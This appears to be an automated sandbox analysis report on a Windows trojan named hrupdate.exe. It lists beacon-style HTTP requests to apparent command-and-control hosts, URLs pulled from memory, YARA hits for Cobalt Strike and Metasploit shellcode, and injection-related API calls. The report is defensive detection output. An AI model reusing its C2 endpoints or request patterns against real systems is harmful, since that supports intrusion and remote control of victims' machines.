Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=PJPkdsXI3RIuvq9_N1aBMF8sepTm8LYzvgsLS-K03YKT-xlyRIH9UrElYHiWo99W1VtzrIFD67Rk1Icyd1sN2DRfyCPVwyCpOSn8p8eXxff4E91ntMK3r4Obk_BWVoA9IlyvgW63AtgCQoUHqHKPzOCw-mYkqI9y-tsbOjEoLtkUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /trakingu/user HTTP/1.0Host: www.hrtraining.ro
Source: global traffic	HTTP traffic detected: GET /trainingcheck_v5498 HTTP/1.0Host: www.hrtraining.ro

Source: global traffic

DNS traffic detected: DNS query: www.hrtraining.ro

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 19 Dec 2024 21:45:43 GMTContent-Type: text/htmlContent-Length: 162Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>

Source: hrupdate.exe	String found in binary or memory: http://www.hrtraining.ro/trainingcheck_v5498
Source: hrupdate.exe, 00000000.00000002.3897320624.00000000044FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.hrtraining.ro/trainingcheck_v5498b
Source: hrupdate.exe	String found in binary or memory: http://www.hrtraining.ro/trainingcheck_v5498dummyhttp://www.hrtraining.ro/trakingu/invalid
Source: hrupdate.exe	String found in binary or memory: http://www.hrtraining.ro/trakingu/
Source: hrupdate.exe, 00000000.00000002.3896775640.0000000000AFB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.hrtraining.ro/trakingu/user
Source: hrupdate.exe, 00000000.00000002.3896775640.0000000000AFB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.hrtraining.ro/trakingu/useruser
Source: hrupdate.exe, 00000000.00000002.3896833882.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867855312.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.r
Source: hrupdate.exe, 00000000.00000002.3896833882.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567852375.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.3897221347.0000000002DBC000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588932882.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567988184.0000000002DC0000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867855312.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867908182.0000000002DBC000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588982597.0000000002DC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/
Source: hrupdate.exe, 00000000.00000003.3588932882.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/KSSM
Source: hrupdate.exe, 00000000.00000002.3896833882.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567852375.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588932882.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867855312.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/P
Source: hrupdate.exe, 00000000.00000003.3867855312.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.3897221347.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.html
Source: hrupdate.exe, 00000000.00000003.3867908182.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.3897221347.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmlN
Source: hrupdate.exe, 00000000.00000002.3896833882.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567852375.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588932882.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hrtraining.ro/rss/portallogin-gettask.htmlxL

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979

Source: unknown

HTTPS traffic detected: 3.79.209.76:443 -> 192.168.2.5:49946 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Rule for beacon reflective loader Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.3588908785.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.3588908785.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.3567810102.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.3567810102.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.3867809207.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.3867809207.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.3897384147.00000000046CE000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3897384147.00000000046CE000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.3896833882.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3896833882.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046A2E65 CreateThread,CreateRemoteThread,GetCurrentProcess,NtCreateThreadEx,CreateThread,CreateRemoteThread,	0_2_046A2E65
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046A2824 VirtualAlloc,VirtualAllocEx,GetCurrentProcess,NtAllocateVirtualMemory,VirtualAlloc,VirtualAllocEx,	0_2_046A2824
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046A29D5 VirtualProtect,VirtualProtectEx,GetCurrentProcess,NtProtectVirtualMemory,VirtualProtect,VirtualProtectEx,	0_2_046A29D5

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04698D88 GetLastError,CreateProcessWithLogonW,GetLastError,_memset,GetLastError,

0_2_04698D88

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046BD4E0	0_2_046BD4E0
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046B15A6	0_2_046B15A6
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046BA9E8	0_2_046BA9E8
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046ABBDA	0_2_046ABBDA

Source: hrupdate.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: dump.pcap, type: PCAP	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.3588908785.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.3588908785.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.3567810102.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.3567810102.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.3867809207.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.3867809207.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.3897384147.00000000046CE000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3897384147.00000000046CE000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.3896833882.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3896833882.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d

Source: classification engine

Classification label: mal96.troj.evad.winEXE@1/0@2/1

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046987F5 LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

0_2_046987F5

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_0469B1AE CreateThread,GetModuleHandleA,GetProcAddress,CreateToolhelp32Snapshot,Thread32First,Thread32Next,Sleep,

0_2_0469B1AE

Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SibcorUpdate	0_2_00671480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SIBCORUPDATE	0_2_00671480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SIBCORUPDATE	0_2_00671480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SibcorUpdate	0_2_00671480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: SIBCORUPDATE	0_2_00671480
Source: C:\Users\user\Desktop\hrupdate.exe	Command line argument: ,Dg	0_2_00671480

Source: hrupdate.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\hrupdate.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: pnrpnsp.dll	Jump to behavior
